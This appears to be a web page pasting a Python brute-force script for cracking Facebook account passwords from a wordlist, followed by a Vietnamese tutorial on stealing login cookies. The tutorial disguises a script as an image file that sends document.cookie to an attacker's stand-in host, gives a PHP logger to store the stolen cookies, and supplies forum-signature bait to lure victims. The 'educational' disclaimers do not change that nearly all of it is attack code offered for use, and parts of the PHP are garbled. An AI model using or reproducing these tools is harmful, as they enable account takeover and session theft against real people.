code brute facebook


#!usr/bin/python



#This program is for educational purposes only.

#Don't attack people facebook accounts it's illegal !

#If you want to crack into someone's account, you must have the permission of the user.

#Mauritania Attacker & Reza Rafati are not responsible.

import sys

import random

import mechanize

import cookielib



GHT = '''

        +=======================================+

        |..........Facebook Cracker v 1.........|

        +---------------------------------------+

        |  Author : Mauritania Attacker         |

        |         : Reza Rafati                 |

        |  Contact: Cyberwarzone.com/contact    |

        |  This tool is made for pentesting.    |

        |  Do not use this tool on any account  |

        |  Without permission of the account    |

        |  holder.                              |

        |  We take no responsibilities for the  |

        |  use of this program                  |

        +---------------------------------------+

'''

print "Warning - do not use this tool without the permission of the Facebook account holder"

print "Hit CTRL+C to quit the program"

print "Warning #2 -  do not use this tool without the permission of the Facebook account holder"



email = str(raw_input("Enter the Facebook email account you want to crack : "))

passwordlist = str(raw_input("Enter the name of the password list file : "))



useragents = [('User-agent', 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071615 Fedora/3.0.1-1.fc9 Firefox/3.0.1')]







login = 'https://www.facebook.com/login.php?login_attempt=1'

def attack(password):



  try:

     sys.stdout.write("\r[*] trying %s.. " % password)

     sys.stdout.flush()

     br.addheaders = [('User-agent', random.choice(useragents))]

     site = br.open(login)

     br.select_form(nr=0)



     

     ##Facebook

     br.form['email'] =email

     br.form['pass'] = password

     br.submit()

     log = br.geturl()

     if log != login:

        print "\n\n\n[*] Password found .. !!"

        print "\n[*] Password : %s\n" % (password)

        sys.exit(1)

  except KeyboardInterrupt:

        print "\n[*] Exiting program .. "

        sys.exit(1)



def search():

    global password

    for password in passwords:

        attack(password.replace("\n",""))







def check():



    global br

    global passwords

    try:

       br = mechanize.Browser()

       cj = cookielib.LWPCookieJar()

       br.set_handle_robots(False)

       br.set_handle_equiv(True)

       br.set_handle_referer(True)

       br.set_handle_redirect(True)

       br.set_cookiejar(cj)

       br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1)

    except KeyboardInterrupt:

       print "\n[*] Exiting program ..\n"

       sys.exit(1)

    try:

       list = open(passwordlist, "r")

       passwords = list.readlines()

       k = 0

       while k < len(passwords):

          passwords[k] = passwords[k].strip()

          k += 1

    except IOError:

        print "\n[*] Error: check your password list path \n"

        sys.exit(1)

    except KeyboardInterrupt:

        print "\n[*] Exiting program ..\n"

        sys.exit(1)

    try:

        print GHT

        print "[*] Email to crack : %s" % (email)

        print "[*] Loaded :" , len(passwords), "passwords"

        print "[*] Cracking, please wait ..."

    except KeyboardInterrupt:

        print "\n[*] Exiting program ..\n"

        sys.exit(1)

    try:

        search()

        attack(password)

    except KeyboardInterrupt:

        print "\n[*] Exiting program ..\n"

        sys.exit(1)



if __name__ == '__main__':

    check()

Tạo một Cookieloger lấy trộm Cookie

Cách này để cho mọi người đánh lừa một nạn nhân dễ tin nào đó.Nhằm lấy cookie để đăng nhập ngoài sự cho phép của họ.
(Cũng là 1 cách xem như là để hack facebook,yahoo, ...Huynhdegroup.net )


Đầu tiên mở notepad cho vào đoạn code sau rồi lưu với 1 tên bất kì.Giả sử là Hotgirl.gif
PHP Code:
<script>location.href='http://www.yoursite.com/cookielogger.php?cookie='+escape(document.cookie)</SCRIPT>  
Tiếp tục copy đoạn code sau cho vào notepad và lưu lại với tên cookielogger.php:
PHP Code:
     $filename “logfile.txt”;
    if (isset(
$_GET["cookie"]))
    {
    if (!
$handle fopen($filename‘a’))
    {
    echo 
“Temporary Server Error,Sorry for the inconvenience.;
    exit;
    }
    else
    {
    if (
fwrite($handle“rn” $_GET["cookie"]) === FALSE)
    {
    echo 
“Temporary Server Error,Sorry for the inconvenience.;
    exit;
    }
    }
    echo 
“Temporary Server Error,Sorry for the inconvenience.;
    
fclose($handle);
    exit;
    }
    echo 
“Temporary Server Error,Sorry for the inconvenience.;
    exit;
    
?>  
Tạo thêm 1 file là logfile.txt rồi vất cả 3 file lên host.Chmod lại file logfile.txt 777 để có quyền ghi lên nó.
PHP Code:
    cookielogger.php -> http://www.yoursite.com/cookielogger.php
    
logfile.txt -> http://www.yoursite.com/logfile.txt (chmod 777)
   
Hotgirl.giff -> http://www.yoursite.com/Hotgirl.gif  
Rồi đi tìm victim dụ thôi.Ví dụ như chèn đoạn code này vào chữ kí ở forum chẳng hạn.Ngồi chờ tên nào rãnh kích vào và thịt thôi
PHP Code:
<a href="www.yoursite.com/Hotgirl.gif"><img style="cursor: pointer; width: 116px; height: 116px;" src="www.yoursite.com/Hotgirl.gif" /></a>  
hoặc BBCODE
[url=http://www.yoursite.com/fun.gif][img]http://yoursite.com/fun.jpg[/ img][/ url]